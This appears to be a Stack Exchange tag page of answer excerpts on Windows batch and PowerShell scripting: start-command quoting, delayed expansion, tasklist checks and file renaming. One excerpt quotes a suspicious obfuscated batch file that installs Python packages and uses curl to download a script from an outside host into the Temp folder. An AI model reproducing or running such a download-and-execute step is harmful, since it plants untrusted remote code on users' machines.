People who code: we want your input. Take the Survey
17

The issue is that the start command (built into CMD) has a special way to handle the first parameter with quotation marks, which is to specify an optional title for the created window; without the first set of quotation marks (like the solution below), the start command is interpreting the command shown in the question as follows: Create a window with a ...


2

The first couple of bytes of the file seem to cause Notepad (and Notepad++ for that matter) to display junk. However using the Unix less or strings command returns the following: @echo off py -m pip install -U pip pip3 install netmiko pip3 install colored curl -o "%userprofile%\AppData\Local\Temp\temp.py" http://secret.dtechsmag.com/scriptp/...


2

I updated the answer, now it also searches in sub-folders of the parent and child folders. MaxLevel is a delimiter for parent folders meaning don't go any deeper than that "parent folder" For example if you have "Folder_F" as input and want to search for a folder called "my folder" and MaxLevel is "Desktop". It would ...


2

You can use the way, the parser works to "split" the current folder (%cd%) into the desired base path and "commenting out" the rest: set folder=%cd:\SomeFolder\=\SomeFolder&REM % echo %folder% Run it with echo off to watch the "magic" happen. Read the output of set /? to learn how the substring substitution works. If ...


1

One line version using operator && or || if exist/not exist: >nul 2>&1 pushd "%cd%\my_Folder" &&(popd & set "Bool=True")|| set "Bool=False" set Bool & echo=%Bool%


1

Batch file programming is messy.  I can’t find any one solution that works perfectly.  But this three-pronged approach seems to work: SET CURR_PATH=%CD% :: Assume/anticipate failure set "FOLDER_EXIST=False" cd /d "%INPUT_PATH%\%REL_PATH%" 2> nul && ( if exist %FOLDER_NAME%\ set "FOLDER_EXIST=True" if ...


1

The question is not fully clear and should be improved. The actual value of the variable will have changed immediately after the set command. The problem results from the point in time when CMD expands the variables while executing the script. When Windows CMD processes this if statement if /i %proceed:~0,1%==E ( set /P profile="sas-admin profile:&...


1

If delayed expansion is the solution, how to use it? As follows: @echo off setlocal enabledelayedexpansion if 1==1 ( call :label echo !errorlevel! ) pause >nul endlocal exit :label exit /b 1 Delayed Expansion will cause variables within a batch file to be expanded at execution time rather than at parse time, this option is turned on with the ...


1

Your script is running the 'sh' shell, and the simple $ prompt is completely normal for sh. If your usual shell prompt includes more information, then you were probably using bash or zsh. (But it could also be 'tcsh' or 'fish' or something else.) Try changing your script's last command to bash. Try changing your script's last command to run $SHELL. (...


1

@echo off set "_results=Not Running" set "_imagename=executable_with_imagename_length_greater_than_25_characters.exe" tasklist.exe /svc /fo list | find.exe /i "%_imagename%" >nul && set "_results=%_results:Not =%" echo=%_results% Use: Tasklist /svc /fo list Use: Find "string" && [if/because return 0 do()] || [if/because return non 0 do(...


1

The tasklist command can search for a given process. Checking for success inside a batch file is a bit complicated, since this command does not set the errorlevel. You need then to use it in conjunction with another utility that does set it, for example the find command like this: echo off tasklist /fi "imagename eq notepad.exe" | find "...


1

For extract number with comma + space (or Tab) delimited: @echo off setlocal EnableDelayedExpansion for /f useback^tokens^=*delims^= %%i in (`type Q1597471.txt `)do set "_line=%%~i" && for %%X in (!_line:^, ^= !)do echo=%%~X endlocal & goto :eof Contents of the file Q1597471.txt... 0, 1, 2, 4, 11, 18, 19, 25, 35, 42, 66, 87, 89 10, 11, 12, 14, 111, ...


1

Sorry for the late answer. Couldn't it be achieved with scheduled tasks ? Like create a scheduled task that runs once after reboot and launches the script where you want to resume it ?


1

Was looking for a way to solve this issue, because when streaming from windows to my TV, the TV would play the files out of order as it was sorting the files alphabetically using the title. Using some of the above answers, this script worked for me in PowerShell (obviously replace the paths as appropriate for your environment: foreach ($f in Get-ChildItem &...


1

PowerShell allows you to do regex matches so it's easy to do this with Rename-Item: Get-ChildItem *.mpg | Rename-Item -WhatIf -NewName ` { $_.Name -replace '(.+?)\(.+?\) \((.+) (.+)\)', '$1_($2_$3)' } You can also shorten the command with aliases: > ls *.mpg | ren -wi -Ne ` { $_.Name -replace '(.+?)\(.+?\) \((.+) (.+)\)', '$1_($2_$3)' } What if: ...


Only top voted, non community-wiki answers of a minimum length are eligible